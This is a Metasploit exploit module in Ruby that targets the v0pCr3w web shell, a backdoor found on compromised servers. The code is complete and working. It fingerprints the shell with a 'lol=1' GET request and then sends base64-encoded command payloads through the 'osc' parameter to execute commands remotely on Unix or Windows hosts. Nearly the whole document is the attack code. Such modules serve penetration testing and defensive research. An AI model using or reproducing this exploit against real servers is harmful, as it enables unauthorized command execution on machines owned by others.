v0pCr3w Web Shell Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'v0pCr3w Web Shell Remote Code Execution',  
'Description' => %q{  
This module exploits a lack of authentication in the shell developed by v0pCr3w  
and is widely reused in automated RFI payloads. This module takes advantage of the  
shell's various methods to execute commands.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module  
],  
'References' =>  
[  
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],  
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' => ['unix', 'win'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['v0pCr3w / Unix', { 'Platform' => 'unix' } ],  
['v0pCr3w / Windows', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => 'Mar 23 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),  
],self.class)  
end  
  
def check  
shell = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s),  
'vars_get' => {  
'lol' => '1'  
}  
})  
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def http_send_command(cmd)  
p = Rex::Text.encode_base64(cmd)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s),  
'vars_get' => {  
'osc' => p  
}  
})  
if not (res and res.code == 200)  
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')  
end  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`